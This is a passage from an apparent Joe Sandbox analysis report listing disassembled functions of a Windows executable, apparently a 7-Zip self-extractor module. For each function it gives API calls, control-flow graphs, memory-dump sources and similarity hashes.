                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
                                                                                                                                                                                                                                                                                    • String ID: ExecuteFile
                                                                                                                                                                                                                                                                                    • API String ID: 1592922708-323923146
                                                                                                                                                                                                                                                                                    • Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
                                                                                                                                                                                                                                                                                    • Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69
                                                                                                                                                                                                                                                                                    Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100synchronizationthreadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1381 401880-4018d6 call 4136b9 call 401403 call 401795 CreateThread 1388 4018d8 call 408caa 1381->1388 1389 4018dd-4018f8 WaitForSingleObject 1381->1389 1388->1389 1390 4018fa-4018fd 1389->1390 1391 40192c-401932 1389->1391 1393 401920 1390->1393 1394 4018ff-401902 1390->1394 1395 401990 1391->1395 1396 401934-401949 GetExitCodeThread 1391->1396 1399 401922-40192a call 409606 1393->1399 1397 401904-401907 1394->1397 1398 40191c-40191e 1394->1398 1400 401995-401998 1395->1400 1401 401953-40195e 1396->1401 1402 40194b-40194d 1396->1402 1405 401918-40191a 1397->1405 1406 401909-40190c 1397->1406 1398->1399 1399->1395 1403 401960-401961 1401->1403 1404 401966-40196f 1401->1404 1402->1401 1408 40194f-401951 1402->1408 1409 401963-401964 1403->1409 1410 401971-401978 1404->1410 1411 40197a-401986 SetLastError 1404->1411 1405->1399 1412 401913-401916 1406->1412 1413 40190e-401911 1406->1413 1408->1400 1415 401988-40198d call 409606 1409->1415 1410->1395 1410->1411 1411->1415 1412->1409 1413->1395 1413->1412 1415->1395
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
                                                                                                                                                                                                                                                                                    • WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 359084233-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
                                                                                                                                                                                                                                                                                    • Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E
                                                                                                                                                                                                                                                                                    Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _EH_prolog.MSVCRT ref: 00414DD8
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049
                                                                                                                                                                                                                                                                                      • Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@$H_prolog
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3431946709-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
                                                                                                                                                                                                                                                                                    • Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98
                                                                                                                                                                                                                                                                                    Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1642057587-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
                                                                                                                                                                                                                                                                                    • Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59
                                                                                                                                                                                                                                                                                    Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _EH_prolog.MSVCRT ref: 00415EEF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@H_prolog
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1329742358-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
                                                                                                                                                                                                                                                                                    • Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15
                                                                                                                                                                                                                                                                                    Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: GlobalMemoryStatus
                                                                                                                                                                                                                                                                                    • String ID: @
                                                                                                                                                                                                                                                                                    • API String ID: 1890195054-2766056989
                                                                                                                                                                                                                                                                                    • Opcode ID: 8a9aa48f9070ee96bf63fde4069f08434787f301be68acc01994b4796d983c6a
                                                                                                                                                                                                                                                                                    • Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8a9aa48f9070ee96bf63fde4069f08434787f301be68acc01994b4796d983c6a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D
                                                                                                                                                                                                                                                                                    Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$ExceptionThrow
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2803161813-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
                                                                                                                                                                                                                                                                                    • Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58
                                                                                                                                                                                                                                                                                    Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@??3@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1936579350-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
                                                                                                                                                                                                                                                                                    • Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754
                                                                                                                                                                                                                                                                                    Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@??3@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1936579350-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
                                                                                                                                                                                                                                                                                    • Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764
                                                                                                                                                                                                                                                                                    Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?), ref: 0041232E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2976181284-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
                                                                                                                                                                                                                                                                                    • Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65
                                                                                                                                                                                                                                                                                    Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?), ref: 004134D2
                                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
                                                                                                                                                                                                                                                                                    • Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4
                                                                                                                                                                                                                                                                                    Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON
